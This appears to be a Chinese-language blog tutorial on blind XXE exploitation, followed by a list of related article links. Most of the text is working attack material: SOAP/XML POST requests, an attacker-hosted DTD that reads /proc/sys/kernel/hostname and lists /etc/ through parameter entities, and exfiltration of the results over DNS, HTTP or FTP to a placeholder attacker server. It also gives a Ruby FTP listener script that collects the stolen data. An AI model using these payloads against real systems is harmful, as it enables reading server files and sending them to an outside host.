简单验证

  1. POST /test HTTP/1.1
  2. Content-Type: application/soap+xml
  3. User-Agent: scanner
  4. Accept: */*
  5. Cache-Control: no-cache
  6. Host: 域名
  7. Content-Length: 142
  8. Connection: close
  9. <?xml version="1.0" encoding="UTF-8"?>
  10. <!DOCTYPE root [
  11. <!ENTITY % remote SYSTEM "http://dnslog">
  12. %remote;]>
  13. <root/>

接收信息以证明

XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。

要将信息发出来还需要再自己服务器上构造DTD。

1) 接收单行文件信息(主机名)

  1. 发送的POC
  2. POST /test HTTP/1.1
  3. Content-Type: application/soap+xml
  4. User-Agent: scanner
  5. Accept: */*
  6. Cache-Control: no-cache
  7. Host: 域名
  8. Content-Length: 142
  9. Connection: close
  10. <?xml version="1.0" encoding="UTF-8"?>
  11. <!DOCTYPE root [
  12. <!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
  13. %remote;]>
  14. <root/>
  15. cc.xml文件
  16. <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
  17. <!ENTITY % int "<!ENTITY % send SYSTEM 'http://%file;.dnslog地址/test'>">
  18. %int;
  19. %send;
  20. > 没错,就是取值符号加井号加37加分号
  21. 这个不太稳定,多发几遍。
  22. 发了几十遍出来了几次dns请求。
  23. 估计是在读文件拼接发请求处有什么拦截
  24. 这里怀疑/kernel/hostname文件中有转义字符、空格、换行符什么的,所以可能造成拼在域名中,无法发出dns信息。
  25. 所以用http log也挺好的
  26. <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
  27. <!ENTITY % int "<!ENTITY % send SYSTEM 'http://httplog地址/%file;'>">
  28. %int;
  29. %send;

2) 接收多行文件信息


  1. 发送的POC
  2. POST /test HTTP/1.1
  3. Content-Type: application/soap+xml
  4. User-Agent: scanner
  5. Accept: */*
  6. Cache-Control: no-cache
  7. Host: 域名
  8. Content-Length: 142
  9. Connection: close
  10. <?xml version="1.0" encoding="UTF-8"?>
  11. <!DOCTYPE root [
  12. <!ENTITY % remote SYSTEM "http://web服务器/cc.xml">
  13. %remote;]>
  14. <root/>

  15. cc.xml文件
  16. <!ENTITY % file SYSTEM "file:///proc/sys/kernel/hostname">
  17. <!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
  18. %int;
  19. %send;

  20. 再再服务器上监听设定的端口(这里写的是33端口)
  21. vi ftp.rb
  22. require 'socket'
  23. server = TCPServer.new 33
  24. loop do
  25. Thread.start(server.accept) do |client|
  26. print "New client connected\n"
  27. data = ""
  28. client.puts("220 xxe-ftp-server")
  29. loop {
  30. req = client.gets()
  31. print "< "+req
  32. if req.include? "USER"
  33. client.puts("331 password please - version check")
  34. else
  35. #puts "> 230 more data please!"
  36. client.puts("230 more data please!")
  37. end
  38. }
  39. print "\n"
  40. end
  41. end
  42. ruby ftp.rb

列目录的DTD

  1. 把文件路径换成文件夹名就能列目录了
  2. <!ENTITY % file SYSTEM "file:///etc/">
  3. <!ENTITY % int "<!ENTITY % send SYSTEM 'ftp://你的地址:33/%file;'>">
  4. %int;
  5. %send;

helps

github监听脚本-ruby

xxe总结

XXE利用

blind XXE payload的更多相关文章

  1. 关于Blind XXE

    关于Blind XXE 关于XXE,很早之前内部做过分享,个人觉得漏洞本身没太多的玩点,比较有意思主要在于:不同语言处理URI的多元化和不同XML解析器在解析XML的一些特性. 在科普Blind XX ...

  2. WeCenter3.1.7 blind xxe 分析

    xxe漏洞危害大,可以查看任意文件,执行系统命令,进行ddos等,但是本次漏洞有一条件,需要后台登录,所以危害降低了,下面是详细分析 在models/weixin.php public functio ...

  3. 微信开源PHP商城系统一处blind xxe(无需登录,附POC)

    测试版本wemall 3.3 下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号 c ...

  4. blind xxe攻击

    最近做啊里的题的时候遇到了 http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

  5. XML注入介绍--XXE,XEE,xpath等

    XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...

  6. xxe漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...

  7. 漏洞经验分享丨Java审计之XXE(下)

    上篇内容我们介绍了XXE的基础概念和审计函数的相关内容,今天我们将继续分享Blind XXE与OOB-XXE的知识点以及XXE防御方法,希望对大家的学习有所帮助! 上期回顾  ◀漏洞经验分享丨Java ...

  8. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  9. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

随机推荐

  1. spark kmer计算

    输入文件:fa格式的文件 输出结果:kmer的频数和对应的kmer类型和计数 1.将fq.gz的文件转换成fa文件: #!/usr/bin/python env # -*- coding:utf-8 ...

  2. Ubuntu中打开Qt creator,提示无法覆盖文件 /home/username/.config/Nokia/qtversion.xml : Permission denied

    官网下载qt*.run文件安装后 打开Qt creator,提示无法覆盖文件 /home/username/.config/Nokia/qtversion.xml : Permission denie ...

  3. 【HC89S003F4开发板】9ASM写定时器1

    HC89S003F4开发板ASM写定时器1 一.实现过程 1.外部寄存器设置 扩展 XSFR 采用和 XRAM 同样的访问方式,使用 MOVX A, @DPTR 和 MOVX @DPTR ,A 来进行 ...

  4. xorm表结构操作实例

    获取数据库信息 package main import ( "fmt" _ "github.com/go-sql-driver/mysql" "git ...

  5. Scratch编程:绘制七色花(七)

    “ 上节课的内容全部掌握了吗?反复练习了没有,编程最好的学习方法就是练习.练习.再练习.一定要记得多动手.多动脑筋哦~~” 01 — 游戏介绍 绘制一朵美丽的七色花. 02 — 设计思路 使用画笔功能 ...

  6. Student's Camp CodeForces - 708E (dp,前缀和优化)

    大意: $n$行$m$列砖, 白天左侧边界每块砖有$p$概率被摧毁, 晚上右侧边界有$p$概率被摧毁, 求最后上下边界连通的概率. 记${dp}_{i,l,r}$为遍历到第$t$行时, 第$t$行砖块 ...

  7. apply,call和bind的使用及区别

    1.用途 1)apply,call和bind都是 用来改变this的指向 2)apply和call会让当前函数立即执行,而bind会返回一个函数,后续需要的时候再调用执行 2.this指向问题 thi ...

  8. 怎样检测浏览器是否安装了某个插件, 比如flash

    首先, 我们可以获取浏览器安装的所有在插件: navigator.plugins 它会返回一个类似数组的对象, 包含所有已安装插件的具体信息. navigator.plugins; 然后我们可以通过正 ...

  9. 音视频入门-07-认识YUV

    * 音视频入门文章目录 * YUV & YCbCr 简介 YUV,是一种颜色编码方法.常使用在各个视频处理组件中. YUV 在对照片或视频编码时,考虑到人类的感知能力,允许降低色度的带宽. Y ...

  10. 一次实战CTF-WEB(多重登录机制中的缺陷)

    要求登录admin账号 1.登录界面 我们发现有找回密码这个易受攻击点 2.直奔找回密码 通过观察前两个阶段url(reset1.htm1 reset2.html),我们推测出了第三个阶段的url(r ...